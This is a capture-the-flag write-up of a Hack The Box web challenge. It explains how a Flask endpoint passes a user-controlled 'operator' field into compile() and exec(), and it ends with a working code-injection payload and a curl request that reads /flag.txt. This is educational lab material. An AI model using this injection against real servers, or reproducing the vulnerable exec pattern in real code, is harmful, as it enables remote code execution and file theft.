Challenge Description

A powerful demon has sent one of his ghost generals into our world to ruin the fun of Halloween. The ghost can only be defeated by luck. Are you lucky enough to draw the right cards to defeat him and save this Halloween?

In this challenge, we are presented with a web app, that simulates a game of boss killing by picking from a set of cards to attack. We are also given the source code for the challenge making it a white box challenge.

By extracting the source code given and by running the docker within it we are presented with the following web app:

By interacting with the game and looking at the network being used on the backend, we can have a deeper understanding of the inner workings of the challenge. If we take a look at the requests being made we can see that the application is interacting with the server backend by making POST requests to an API:

Although this interaction is from the javascript code present in the web application, its contents are user-controlled. Our future source will be this (a source is data that can be controlled by a user or manipulated by them).

Now with our source in mind, let’s try to look for a sink (an unsafe function that accepts as arguments the controlled input of the user also known as sources).

By looking at where the API endpoint is defined we can see that this route is specified in the file routes.py present within the source code given.

$ tree .
web_evaluation_deck
├── build-docker.sh
├── challenge
│   ├── application
│   │   ├── blueprints
│   │   │   └── routes.py
│   │   ├── main.py
│   │   ├── static
│   │   │   ├── css
│   │   │   ├── images
│   │   │   └── js
│   │   ├── templates
│   │   └── util.py
│   └── run.py
└── config
    └── supervisord.conf
$

A route is defined by first checking the JSON provided in the POST. These checks check if the format is correct:

@api.route('/get_health', methods=['POST'])
def count():
    if not request.is_json:
        return response('Invalid JSON!'), 400

And if all of the fields needed are present:

    data = request.get_json()

    current_health = data.get('current_health')
    attack_power = data.get('attack_power')
    operator = data.get('operator')
    
    if not current_health or not attack_power or not operator:
        return response('All fields are required!'), 400

After all this check the server will try to compute how much damage should be dealt to the boss by taking in the parameters given as its arguments:

    result = {}
    try:
        code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
        exec(code, result)
        return response(result.get('result'))
    except:
        return response('Something Went Wrong!'), 500

The functions called with the user’s input as arguments are compile() and exec(). By taking a look at the documentation for these functions we can see the following:

Python compile() function takes source code as input and returns a code object which is ready to be executed and which can later be executed by the exec() function.

Syntax: compile(source, filename, mode, flags=0, dont_inherit=False, optimize=-1) Parameters:

  • Source – It can be a normal string, a byte string, or an AST object
  • Filename -This is the file from which the code was read. If it wasn’t read from a file, you can give a name yourself.
  • Mode – Mode can be exec, eval or single. …
  • b. exec – It can take a block of a code that has Python statements, class and functions and so on. …

Python exec() function is used for the dynamic execution of Python program which can either be a string or object code. If it is a string, the string is parsed as a suite of Python statements which is then executed unless a syntax error occurs and if it is an object code, it is simply executed. We must be careful that the return statements may not be used outside of function definitions not even within the context of code passed to the exec() function. It doesn’t return any value, hence returns None.

Syntax: exec(object[, globals[, locals]])

It can take three parameters:

  • object: As already said this can be a string or object code
  • globals: This can be a dictionary and the parameter is optional
  • locals: This can be a mapping object and is also optional

Now that we have a deeper knowledge of what these functions do we now know that what we should try is to read the flag file present in the server with a python script as the input given.

By taking a look at the code that should be executed with normal behavior (without the user tampering with the request), we can see that the python code executed is the following:

current_health='100'
attack_power='4'
# operator = +

result = int(current_health) + int(attack_power)

Seeing that all of the three arguments need to be present so that the input is a valid input and that current_health and attack_power will be cast to int, the only available parameter for us to tamper with and try to get a valid python code out of it is the parameter operator.

A valid approach is as follows:

current_health='100'
attack_power='4'
# operator='; result = (open("/flag.txt").read()) #'

result = int(current_health) ; result = (open("/flag.txt").read()) # int(attack_power)

This payload enables us to use all of the needed arguments while still achieving our goal of a valid python code that reads the contents of the file /flag.txt.

To finalize we just need to send the payload to the challenge endpoint and retrieve the flag:

$ curl -X POST 142.93.35.129:30146/api/get_health -H 'Content-Type: application/json' -d "{\"current_health\":\"54\",\"attack_power\":\"34\",\"operator\":\"; result = (open('/flag.txt').read()) #\"}" 
{"message":"HTB{c0d3_1nj3ct10ns_4r3_Gr3at!!}"}